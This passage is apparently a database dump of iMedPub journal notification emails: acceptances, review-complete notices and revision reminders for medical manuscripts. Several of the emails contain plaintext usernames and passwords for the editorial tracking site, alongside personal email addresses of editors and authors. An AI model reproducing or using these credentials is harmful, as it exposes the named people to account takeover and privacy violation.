<b>Urethrovesical foreign body in adolescents. Two case reports.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kiepura</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','slawkie@wp.pl',3126,'2020-03-09',85),(956,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-3486</b><br />\r\n            <br />\r\n            Article Title: <b>CASE REPORT ON LIVE CERVICAL ECTOPIC PREGNANCY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>IGBOKWE IGBOKWE</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-20-3486</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',3486,'2020-03-09',984),(962,'<p>Ref.:  Ms. No. : <b>iphspr-19-3037</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Rates to measures the social inequity attributable to smoking</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Hern&aacute;ndez</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-3037</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>fern&aacute;ndez</b><br />\r\npassword: <b>YQcNBSMR</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','fefh@infomed.sld.cu',3037,'2020-03-10',84),(963,'<p>Ref.:  Ms. No. : <b>iphspr-19-3036</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Brief appointments about fiscal policy for the smoking control</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Hern&aacute;ndez</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-3036</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>fern&aacute;ndez</b><br />\r\npassword: <b>YQcNBSMR</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','fefh@infomed.sld.cu',3036,'2020-03-10',84),(964,'<p>Ref.:  Ms. No. : <b>iphspr-20-3213</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Barriers to Delivery of Health Care at Sobering Center: A Model</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Srinivas</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-20-3213</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>dr_neela</b><br />\r\npassword: <b>0f9KiEL9</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','neela_srinivas@hotmail.com',3213,'2020-03-10',84),(965,'<p>Ref.:  Ms. No. : <b>iphspr-19-557</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Mid-Term Assessment of Maternal Care Assistance Program Implementation in Leyte Province, 2014-2017 in terms of Facility-Based Delivery, Maternal Mortality Ratio, and Infant Mortality Rate</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Gaytos Rosaldo</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-557</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>adelaida</b><br />\r\npassword: <b>UELYzHeA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','agrosaldo@up.edu.ph',557,'2020-03-10',84),(972,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-3381</b><br />\r\n            <br />\r\n            Article Title: <b>CONCEPCIONES DIAGN&Oacute;STICAS Y MANEJO DE HIPERKALEMIA EN EL PACIENTE CON ENFERMEDAD RENAL CR&Oacute;NICA: REVISI&Oacute;N A PROP&Oacute;SITO DE UN CASO CL&Iacute;NICO.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-20-3381</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','manuelmenendez@gmail.com',3381,'2020-03-11',274),(979,'<p>Ref.:  Ms. No. <b>iptb-20-3135</b><br />\r\n<br />\r\n<b>Detection of Brain Signals Using electroencephalogram Received by Silk Electrospun Sheet for the Movement of Paralyzed Anatomical Parts through Tissue Engineering</b><br />\r\n<br />\r\n<b>Translational Biomedicine</b><br />\r\n<br />\r\nDear <b>Dr. R. Gainetdinov</b>,<br />\r\n<br />\r\n<b>Raul&nbsp;R. Gainetdinov</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></p>',2,'Editor Agrees To Handle Assignment','raul.gainetdinov@iit.it',3135,'2020-03-13',673),(980,'<p>Ref.:  Ms. No. <b>iptb-20-3519</b><br />\r\n<br />\r\n<b>The Effect of Intravitreal Injection of Avastin for Neovascular Age &ndash; related Macular Degeneration</b><br />\r\n<br />\r\n<b>Translational Biomedicine</b><br />\r\n<br />\r\nDear <b>Dr. R. Gainetdinov</b>,<br />\r\n<br />\r\n<b>Raul&nbsp;R. Gainetdinov</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></p>',2,'Editor Agrees To Handle Assignment','raul.gainetdinov@iit.it',3519,'2020-03-16',673),(981,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3522</b><br />\r\n            <br />\r\n            Article Title: <b>FREQUENCY AND LEVEL OF DISABILITY AMONG PATIENTS WEARING COMPLETE DENTURES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kashif</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drkashifazam@gmail.com',3522,'2020-03-16',48),(986,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-3381</b><br />\r\n            <br />\r\n            Article Title: <b>CONCEPCIONES DIAGN&Oacute;STICAS Y MANEJO DE HIPERKALEMIA EN EL PACIENTE CON ENFERMEDAD RENAL CR&Oacute;NICA: REVISI&Oacute;N A PROP&Oacute;SITO DE UN CASO CL&Iacute;NICO.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Boh&oacute;rquez Rivero</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','josejbohorquez@gmail.com',3381,'2020-03-18',274),(991,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-1024</b><br />\r\n            <br />\r\n            Article Title: <b>Multi-drug resistance pattern of Staphylococcus aureus from Paediatric ward, General Hospital, Ikot-Ekpaw,  Mkpat Enin LGA, Akwa-Ibom State, Nigeria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ibanga IA</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-1024</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',1024,'2020-03-20',248),(992,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-1024</b><br />\r\n            <br />\r\n            Article Title: <b>Multi-drug resistance pattern of Staphylococcus aureus from Paediatric ward, General Hospital, Ikot-Ekpaw,  Mkpat Enin LGA, Akwa-Ibom State, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>IA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','inimfonibanga@aksu.edu.ng',1024,'2020-03-20',248),(993,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-3125</b><br />\r\n            <br />\r\n            Article Title: <b>SHEEP AND GOAT POX DISEASES CURRENT STATUS IN ETHIOPIA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Hika Waktole</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-3125</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3125,'2020-03-20',248),(994,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-3532</b><br />\r\n            <br />\r\n            Article Title: <b>Quiste Hep&aacute;tico: A prop&oacute;sito de un caso</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Allan Fernando Delcid Moraz&aacute;n</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-20-3532</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','manuelmenendez@gmail.com',3532,'2020-03-20',274),(996,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3154</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term follow-up of relapsing-remitting multiple sclerosis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Loren Rolak</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3154</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',3154,'2020-03-20',75),(1001,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3612</b><br />\r\n            <br />\r\n            Article Title: <b>Ninety Days In: A Comprehensive Review of the Ongoing COVID-19 Outbreak</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',3612,'2020-03-27',48),(1002,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3562</b><br />\r\n            <br />\r\n            Article Title: <b>  Nurses&rsquo; Perspectives on Causes and Barriers to Reporting Medication Administration Errors in Saudi Arabia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alamrani </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','finsh4@hotmail.com',3562,'2020-03-27',48),(1003,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3551</b><br />\r\n            <br />\r\n            Article Title: <b>INCIDENCE OF DE QUERVAIN&rsquo;S TENOSYNOVITIS IN COMPUTER OPERATORS</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Syed Ali Behram Subazwari</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Science Journal</b><br />\r\n            <br />\r\n            Dear Dr. <b>Scapellato</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphsj-20-3551</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','paoloscapellato@yahoo.it',3551,'2020-03-27',48),(1004,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3551</b><br />\r\n            <br />\r\n            Article Title: <b>INCIDENCE OF DE QUERVAIN&rsquo;S TENOSYNOVITIS IN COMPUTER OPERATORS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Subazwari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-03-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','themedresearcher@gmail.com',3551,'2020-03-27',48),(1009,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-3581</b><br />\r\n            <br />\r\n            Article Title: <b>Serum Ceruloplasmin Levels And Early Detection Of Oral Potentially Malignant Epithelial Lesions (PMELs) And Oral Squamous Cell Carcinoma (OSCC)</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Abhishek Nayyar</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-20-3581</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',3581,'2020-03-31',984),(1017,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" 